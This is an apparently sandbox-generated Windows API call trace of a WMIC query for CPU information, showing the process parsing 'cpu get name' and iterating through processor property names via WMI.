[0148.250] lstrlenW (lpString="/") returned 1 [0148.250] lstrlenW (lpString="get") returned 3 [0148.250] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="/", cchCount2=1) returned 3 [0148.250] lstrlenW (lpString="-") returned 1 [0148.250] lstrlenW (lpString="get") returned 3 [0148.250] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="-", cchCount2=1) returned 3 [0148.250] lstrlenW (lpString="get") returned 3 [0148.250] malloc (_Size=0x8) returned 0x2ccbd0 [0148.251] lstrlenW (lpString="get") returned 3 [0148.251] lstrlenW (lpString="GET") returned 3 [0148.251] lstrlenW (lpString="get") returned 3 [0148.251] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="GET", cchCount2=3) returned 2 [0148.251] lstrlenW (lpString="/") returned 1 [0148.251] lstrlenW (lpString="name") returned 4 [0148.251] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="/", cchCount2=1) returned 3 [0148.251] lstrlenW (lpString="-") returned 1 [0148.251] lstrlenW (lpString="name") returned 4 [0148.251] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="-", cchCount2=1) returned 3 [0148.251] lstrlenW (lpString="name") returned 4 [0148.251] malloc (_Size=0xa) returned 0x2cc9c0 [0148.251] lstrlenW (lpString="name") returned 4 [0148.251] malloc (_Size=0x8) returned 0x2ccbf0 [0148.252] GetCurrentThreadId () returned 0xfbc [0148.253] ??0CHString@@QEAA@XZ () returned 0x1af5e8 [0148.253] malloc (_Size=0x8) returned 0x2ccc10 [0148.253] memmove_s (in: _Destination=0x2ccc10, _DestinationSize=0x8, _Source=0x2ccbf0, _SourceSize=0x8 | out: _Destination=0x2ccc10) returned 0x0 [0148.253] malloc (_Size=0x18) returned 0x2cca00 [0148.253] malloc (_Size=0x18) returned 0x2cc980 [0148.253] malloc (_Size=0x18) returned 0x2ccaa0 [0148.253] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0148.253] malloc (_Size=0x3a) returned 0x2ccc30 [0148.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr="MSFT_CliAlias.FriendlyName='", cbMultiByte=-1, lpWideCharStr=0x2ccc30, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0148.254] free (_Block=0x2ccc30) [0148.254] malloc (_Size=0x18) returned 0x2cc9a0 [0148.254] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0148.254] SysStringLen (param_1="cpu") returned 0x3 [0148.254] memcpy (in: _Dst=0x3af698, _Src=0x398518, _Size=0x3a | out: _Dst=0x3af698) returned 0x3af698 [0148.254] memcpy (in: _Dst=0x3af6d0, _Src=0x3b4ca8, _Size=0x8 | out: _Dst=0x3af6d0) returned 0x3af6d0 [0148.254] malloc (_Size=0x18) returned 0x2cca20 [0148.254] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='cpu") returned 0x1f [0148.254] SysStringLen (param_1="'") returned 0x1 [0148.255] memcpy (in: _Dst=0x3b0678, _Src=0x3af698, _Size=0x40 | out: _Dst=0x3b0678) returned 0x3b0678 [0148.255] memcpy (in: _Dst=0x3b06b6, _Src=0x3b4c48, _Size=0x4 | out: _Dst=0x3b06b6) returned 0x3b06b6 [0148.255] free (_Block=0x2cc9a0) [0148.255] free (_Block=0x2ccaa0) [0148.255] free (_Block=0x2cc980) [0148.255] free (_Block=0x2cca00) [0148.255] IWbemServices:GetObject (in: This=0x3a64b0, strObjectPath="MSFT_CliAlias.FriendlyName='cpu'", lFlags=0, pCtx=0x0, ppObject=0x1af628*=0x0, ppCallResult=0x0 | out: ppObject=0x1af628*=0x398260, ppCallResult=0x0) returned 0x0 [0148.265] malloc (_Size=0x18) returned 0x2cca00 [0148.265] IWbemClassObject:Get (in: This=0x398260, wszName="Formats", lFlags=0, pVal=0x1af6a8*(varType=0x0, wReserved1=0x778d, wReserved2=0x0, wReserved3=0x0, varVal1=0xffa22b80, varVal2=0xff9fc79c), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6a8*(varType=0x200d, wReserved1=0x778d, wReserved2=0x0, wReserved3=0x0, varVal1=0x3b91f0*(cDims=0x1, fFeatures=0x240, cbElements=0x8, cLocks=0x0, pvData=0x3bd170, rgsabound=((cElements=0x5, lLbound=0))), varVal2=0xff9fc79c), pType=0x0, plFlavor=0x0) returned 0x0 [0148.267] free (_Block=0x2cca00) [0148.268] lstrlenW (lpString="SET") returned 3 [0148.268] lstrlenW (lpString="get") returned 3 [0148.268] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="SET", cchCount2=3) returned 1 [0148.268] SafeArrayGetLBound (in: psa=0x3b91f0, nDim=0x1, plLbound=0x1af640 | out: plLbound=0x1af640) returned 0x0 [0148.268] SafeArrayGetUBound (in: psa=0x3b91f0, nDim=0x1, plUbound=0x1af63c | out: plUbound=0x1af63c) returned 0x0 [0148.268] SafeArrayGetElement (in: psa=0x3b91f0, rgIndices=0x1af630, pv=0x1af618 | out: pv=0x1af618) returned 0x0 [0148.268] malloc (_Size=0x18) returned 0x2cca00 [0148.268] IWbemClassObject:Get (in: This=0x398730, wszName="Name", lFlags=0, pVal=0x1af688*(varType=0x0, wReserved1=0xff7d, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x3, varVal2=0x8), pType=0x0, plFlavor=0x0 | out: pVal=0x1af688*(varType=0x8, wReserved1=0xff7d, wReserved2=0x7fe, wReserved3=0x0, varVal1="FULL", varVal2=0x8), pType=0x0, plFlavor=0x0) returned 0x0 [0148.268] free (_Block=0x2cca00) [0148.268] malloc (_Size=0x18) returned 0x2cca00 [0148.269] lstrlenW (lpString="FULL") returned 4 [0148.269] lstrlenW (lpString="FULL") returned 4 [0148.269] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="FULL", cchCount1=4, lpString2="FULL", cchCount2=4) returned 2 [0148.269] free (_Block=0x2cca00) [0148.269] malloc (_Size=0x18) returned 0x2cca00 [0148.269] IWbemClassObject:Get (in: This=0x398730, wszName="Properties", lFlags=0, pVal=0x1af6c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffa22ac0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6c0*(varType=0x200d, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x3b93b0*(cDims=0x1, fFeatures=0x240, cbElements=0x8, cLocks=0x0, pvData=0x398f40, rgsabound=((cElements=0x2c, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0148.272] free (_Block=0x2cca00) [0148.272] SafeArrayGetLBound (in: psa=0x3b93b0, nDim=0x1, plLbound=0x1af650 | out: plLbound=0x1af650) returned 0x0 [0148.272] SafeArrayGetUBound (in: psa=0x3b93b0, nDim=0x1, plUbound=0x1af658 | out: plUbound=0x1af658) returned 0x0 [0148.272] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.272] malloc (_Size=0x18) returned 0x2cca00 [0148.273] IWbemClassObject:Get (in: This=0x3da2e0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x0, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="AddressWidth", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.273] free (_Block=0x2cca00) [0148.273] malloc (_Size=0x18) returned 0x2cca00 [0148.273] IWbemClassObject:Get (in: This=0x3da2e0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="AddressWidth", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.273] free (_Block=0x2cca00) [0148.273] malloc (_Size=0x18) returned 0x2cca00 [0148.273] lstrlenW (lpString="AddressWidth") returned 12 [0148.273] lstrlenW (lpString="name") returned 4 [0148.273] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="AddressWidth", cchCount2=12) returned 3 [0148.273] free (_Block=0x2cca00) [0148.274] IUnknown:Release (This=0x3da2e0) returned 0x1 [0148.274] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.274] malloc (_Size=0x18) returned 0x2cca00 [0148.274] IWbemClassObject:Get (in: This=0x3da750, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="AddressWidth", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Architecture", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.274] free (_Block=0x2cca00) [0148.274] malloc (_Size=0x18) returned 0x2cca00 [0148.274] IWbemClassObject:Get (in: This=0x3da750, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="AddressWidth", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Architecture", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.274] free (_Block=0x2cca00) [0148.274] malloc (_Size=0x18) returned 0x2cca00 [0148.274] lstrlenW (lpString="Architecture") returned 12 [0148.275] lstrlenW (lpString="name") returned 4 [0148.275] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Architecture", cchCount2=12) returned 3 [0148.275] free (_Block=0x2cca00) [0148.275] IUnknown:Release (This=0x3da750) returned 0x1 [0148.275] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.275] malloc (_Size=0x18) returned 0x2cca00 [0148.275] IWbemClassObject:Get (in: This=0x3dabc0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Architecture", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Availability", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.275] free (_Block=0x2cca00) [0148.275] malloc (_Size=0x18) returned 0x2cca00 [0148.275] IWbemClassObject:Get (in: This=0x3dabc0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Architecture", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Availability", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.275] free (_Block=0x2cca00) [0148.275] malloc (_Size=0x18) returned 0x2cca00 [0148.276] lstrlenW (lpString="Availability") returned 12 [0148.276] lstrlenW (lpString="name") returned 4 [0148.276] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Availability", cchCount2=12) returned 3 [0148.276] free (_Block=0x2cca00) [0148.276] IUnknown:Release (This=0x3dabc0) returned 0x1 [0148.276] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.276] malloc (_Size=0x18) returned 0x2cca00 [0148.276] IWbemClassObject:Get (in: This=0x3db030, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Availability", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Caption", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.276] free (_Block=0x2cca00) [0148.276] malloc (_Size=0x18) returned 0x2cca00 [0148.277] IWbemClassObject:Get (in: This=0x3db030, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Availability", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Caption", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.277] free (_Block=0x2cca00) [0148.277] malloc (_Size=0x18) returned 0x2cca00 [0148.277] lstrlenW (lpString="Caption") returned 7 [0148.277] lstrlenW (lpString="name") returned 4 [0148.277] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Caption", cchCount2=7) returned 3 [0148.277] free (_Block=0x2cca00) [0148.277] IUnknown:Release (This=0x3db030) returned 0x1 [0148.277] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.277] malloc (_Size=0x18) returned 0x2cca00 [0148.277] IWbemClassObject:Get (in: This=0x3db4b0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Caption", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ConfigManagerErrorCode", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.277] free (_Block=0x2cca00) [0148.277] malloc (_Size=0x18) returned 0x2cca00 [0148.278] IWbemClassObject:Get (in: This=0x3db4b0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Caption", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ConfigManagerErrorCode", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.278] free (_Block=0x2cca00) [0148.278] malloc (_Size=0x18) returned 0x2cca00 [0148.278] lstrlenW (lpString="ConfigManagerErrorCode") returned 22 [0148.278] lstrlenW (lpString="name") returned 4 [0148.278] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ConfigManagerErrorCode", cchCount2=22) returned 3 [0148.278] free (_Block=0x2cca00) [0148.278] IUnknown:Release (This=0x3db4b0) returned 0x1 [0148.278] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.278] malloc (_Size=0x18) returned 0x2cca00 [0148.279] IWbemClassObject:Get (in: This=0x3db930, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ConfigManagerErrorCode", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ConfigManagerUserConfig", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.279] free (_Block=0x2cca00) [0148.279] malloc (_Size=0x18) returned 0x2cca00 [0148.279] IWbemClassObject:Get (in: This=0x3db930, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ConfigManagerErrorCode", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ConfigManagerUserConfig", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.279] free (_Block=0x2cca00) [0148.279] malloc (_Size=0x18) returned 0x2cca00 [0148.279] lstrlenW (lpString="ConfigManagerUserConfig") returned 23 [0148.279] lstrlenW (lpString="name") returned 4 [0148.279] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ConfigManagerUserConfig", cchCount2=23) returned 3 [0148.279] free (_Block=0x2cca00) [0148.279] IUnknown:Release (This=0x3db930) returned 0x1 [0148.279] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.280] malloc (_Size=0x18) returned 0x2cca00 [0148.280] IWbemClassObject:Get (in: This=0x3dbda0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ConfigManagerUserConfig", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="CpuStatus", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.280] free (_Block=0x2cca00) [0148.280] malloc (_Size=0x18) returned 0x2cca00 [0148.280] IWbemClassObject:Get (in: This=0x3dbda0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ConfigManagerUserConfig", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CpuStatus", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.280] free (_Block=0x2cca00) [0148.280] malloc (_Size=0x18) returned 0x2cca00 [0148.280] lstrlenW (lpString="CpuStatus") returned 9 [0148.280] lstrlenW (lpString="name") returned 4 [0148.281] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CpuStatus", cchCount2=9) returned 3 [0148.281] free (_Block=0x2cca00) [0148.281] IUnknown:Release (This=0x3dbda0) returned 0x1 [0148.281] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.281] malloc (_Size=0x18) returned 0x2cca00 [0148.281] IWbemClassObject:Get (in: This=0x3dc210, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="CpuStatus", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="CreationClassName", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.281] free (_Block=0x2cca00) [0148.281] malloc (_Size=0x18) returned 0x2cca00 [0148.281] IWbemClassObject:Get (in: This=0x3dc210, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CpuStatus", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CreationClassName", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.281] free (_Block=0x2cca00) [0148.282] malloc (_Size=0x18) returned 0x2cca00 [0148.282] lstrlenW (lpString="CreationClassName") returned 17 [0148.282] lstrlenW (lpString="name") returned 4 [0148.282] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CreationClassName", cchCount2=17) returned 3 [0148.282] free (_Block=0x2cca00) [0148.282] IUnknown:Release (This=0x3dc210) returned 0x1 [0148.282] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.282] malloc (_Size=0x18) returned 0x2cca00 [0148.282] IWbemClassObject:Get (in: This=0x3dc680, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="CreationClassName", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="CurrentClockSpeed", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.282] free (_Block=0x2cca00) [0148.282] malloc (_Size=0x18) returned 0x2cca00 [0148.283] IWbemClassObject:Get (in: This=0x3dc680, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CreationClassName", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CurrentClockSpeed", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.283] free (_Block=0x2cca00) [0148.283] malloc (_Size=0x18) returned 0x2cca00 [0148.283] lstrlenW (lpString="CurrentClockSpeed") returned 17 [0148.283] lstrlenW (lpString="name") returned 4 [0148.283] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CurrentClockSpeed", cchCount2=17) returned 3 [0148.283] free (_Block=0x2cca00) [0148.283] IUnknown:Release (This=0x3dc680) returned 0x1 [0148.283] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.283] malloc (_Size=0x18) returned 0x2cca00 [0148.284] IWbemClassObject:Get (in: This=0x3dcaf0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="CurrentClockSpeed", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="CurrentVoltage", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.284] free (_Block=0x2cca00) [0148.284] malloc (_Size=0x18) returned 0x2cca00 [0148.284] IWbemClassObject:Get (in: This=0x3dcaf0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CurrentClockSpeed", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CurrentVoltage", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.284] free (_Block=0x2cca00) [0148.284] malloc (_Size=0x18) returned 0x2cca00 [0148.284] lstrlenW (lpString="CurrentVoltage") returned 14 [0148.284] lstrlenW (lpString="name") returned 4 [0148.284] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CurrentVoltage", cchCount2=14) returned 3 [0148.284] free (_Block=0x2cca00) [0148.284] IUnknown:Release (This=0x3dcaf0) returned 0x1 [0148.285] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.285] malloc (_Size=0x18) returned 0x2cca00 [0148.285] IWbemClassObject:Get (in: This=0x3dcf60, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="CurrentVoltage", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="DataWidth", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.285] free (_Block=0x2cca00) [0148.285] malloc (_Size=0x18) returned 0x2cca00 [0148.285] IWbemClassObject:Get (in: This=0x3dcf60, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CurrentVoltage", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="DataWidth", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.285] free (_Block=0x2cca00) [0148.285] malloc (_Size=0x18) returned 0x2cca00 [0148.285] lstrlenW (lpString="DataWidth") returned 9 [0148.285] lstrlenW (lpString="name") returned 4 [0148.285] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="DataWidth", cchCount2=9) returned 3 [0148.286] free (_Block=0x2cca00) [0148.286] IUnknown:Release (This=0x3dcf60) returned 0x1 [0148.286] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.286] malloc (_Size=0x18) returned 0x2cca00 [0148.286] IWbemClassObject:Get (in: This=0x3dd400, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="DataWidth", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Description", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.286] free (_Block=0x2cca00) [0148.286] malloc (_Size=0x18) returned 0x2cca00 [0148.286] IWbemClassObject:Get (in: This=0x3dd400, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="DataWidth", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Description", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.286] free (_Block=0x2cca00) [0148.286] malloc (_Size=0x18) returned 0x2cca00 [0148.286] lstrlenW (lpString="Description") returned 11 [0148.287] lstrlenW (lpString="name") returned 4 [0148.287] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Description", cchCount2=11) returned 3 [0148.287] free (_Block=0x2cca00) [0148.287] IUnknown:Release (This=0x3dd400) returned 0x1 [0148.287] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.287] malloc (_Size=0x18) returned 0x2cca00 [0148.287] IWbemClassObject:Get (in: This=0x3dd6b0, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Description", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="DeviceID", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.287] free (_Block=0x2cca00) [0148.287] malloc (_Size=0x18) returned 0x2cca00 [0148.287] IWbemClassObject:Get (in: This=0x3dd6b0, wszName="Derivation", lFlags=0, pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Description", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1af710*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="DeviceID", varVal2=0xff9b3668), pType=0x0, plFlavor=0x0) returned 0x0 [0148.287] free (_Block=0x2cca00) [0148.287] malloc (_Size=0x18) returned 0x2cca00 [0148.288] lstrlenW (lpString="DeviceID") returned 8 [0148.288] lstrlenW (lpString="name") returned 4 [0148.288] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="DeviceID", cchCount2=8) returned 3 [0148.288] free (_Block=0x2cca00) [0148.288] IUnknown:Release (This=0x3dd6b0) returned 0x1 [0148.288] SafeArrayGetElement (in: psa=0x3b93b0, rgIndices=0x1af648, pv=0x1af5f8 | out: pv=0x1af5f8) returned 0x0 [0148.288] malloc (_Size=0x18) returned 0x2cca00 [0148.288] IWbemClassObject:Get (in: This=0x3dd960, wszName="Name", lFlags=0, pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="DeviceID", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0 | out: pVal=0x1af6f8*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="ErrorCleared", varVal2=0xff9c8408), pType=0x0, plFlavor=0x0) returned 0x0 [0148.289] free (_Block=0x2cca00) 